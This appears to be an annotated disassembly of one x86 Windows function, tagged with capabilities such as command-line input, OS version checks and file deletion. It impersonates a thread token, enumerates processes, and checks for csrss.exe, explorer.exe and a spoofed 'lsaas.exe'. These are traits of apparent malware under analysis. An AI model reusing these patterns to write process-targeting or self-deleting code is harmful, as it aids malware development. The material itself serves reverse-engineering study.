Function at 0x30001ce0
Capabilities:
Accept command line arguments
Check os version
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xc1820
call fcn.30013180
push ebx
push esi
push edi
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x30001d1b
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
lea edi, [ebp - 0x260]
mov ecx, 0x45
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 0x260], 0x114
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xor eax, eax
mov ecx, 1
cmp dword [ebp - 0x25c], 5
cmove eax, ecx
mov dword [ebp - 8], eax
call fcn.30004d70
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp - 4]
push eax
push 0
push 0x28
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
push eax
call edi
test eax, eax
jne 0x30001da8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x30001da8
push 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea eax, [ebp - 4]
push eax
push 0
push 0x28
call esi
push eax
call edi
push ecx
mov ecx, dword [ebp - 4]
call fcn.30001fd0
xor eax, eax
lea edi, [ebp - 0xc1820]
mov ecx, 0x30570
add esp, 4
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0xc1820]
call fcn.30002090
push 0x64
lea eax, [ebp - 0x14c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x14c]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x30001df0
sub ecx, edx
sar ecx, 1
mov eax, ecx
test eax, eax
jle 0x30001e37
cmp word [ebp + eax*2 - 0x14c], 0x5c
je 0x30001e17
dec eax
test eax, eax
jg 0x30001e05
jmp 0x30001e37
inc eax
inc ecx
cmp eax, ecx
jae 0x30001e37
sub ecx, eax
lea esi, [ebp - 0x14c]
shr ecx, 1
lea esi, [esi + eax*2]
lea edi, [ebp - 0x84]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
mov edi, 1
nop dword [eax]
xor ebx, ebx
lea esi, [ebp - 0xc1820]
nop dword [eax + eax]
mov ecx, esi
lea eax, [ebp - 0x84]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x30001e7e
test dx, dx
je 0x30001e7a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x30001e7e
add eax, 4
add ecx, 4
test dx, dx
jne 0x30001e58
xor eax, eax
jmp 0x30001e83
sbb eax, eax
or eax, 1
test eax, eax
je 0x30001f79
cmp dword [esi + 0x20c], edi
jne 0x30001f79
mov ecx, str.csrss.exe
mov eax, esi
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x30001ec6
test dx, dx
je 0x30001ec2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x30001ec6
add eax, 4
add ecx, 4
test dx, dx
jne 0x30001ea0
xor eax, eax
jmp 0x30001ecb
sbb eax, eax
or eax, 1
test eax, eax
je 0x30001f79
mov ecx, str.explorer.exe
mov eax, esi
nop word [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x30001f06
test dx, dx
je 0x30001f02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x30001f06
add eax, 4
add ecx, 4
test dx, dx
jne 0x30001ee0
xor eax, eax
jmp 0x30001f0b
sbb eax, eax
or eax, 1
test eax, eax
je 0x30001f79
mov eax, str.lsaas.exe
mov ecx, esi
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x30001f3c
test dx, dx
je 0x30001f38
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x30001f3c
add ecx, 4
add eax, 4
test dx, dx
jne 0x30001f16
xor eax, eax
jmp 0x30001f41
sbb eax, eax
or eax, 1
test eax, eax
je 0x30001f79
cmp dword [ebp - 8], 0
je 0x30001f4f
test edi, edi
je 0x30001f82
cmp edi, 1
je 0x30001f82
mov ecx, dword [esi + 0x208]
call fcn.30002370
push 0xa
lea ecx, [ebp - 0x20]
push ecx
push eax
call fcn.30007ce8
add esp, 0xc
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0x208], 0
je 0x30001f92
inc ebx
add esi, 0x210
cmp ebx, 0x64
jl 0x30001e50
inc edi
cmp edi, 4
jle 0x30001e40
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
call fcn.300022a0
pop edi
pop esi
pop ebx
cmp eax, 1
jne 0x30001fc1
call fcn.30003f90
call fcn.30002680
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10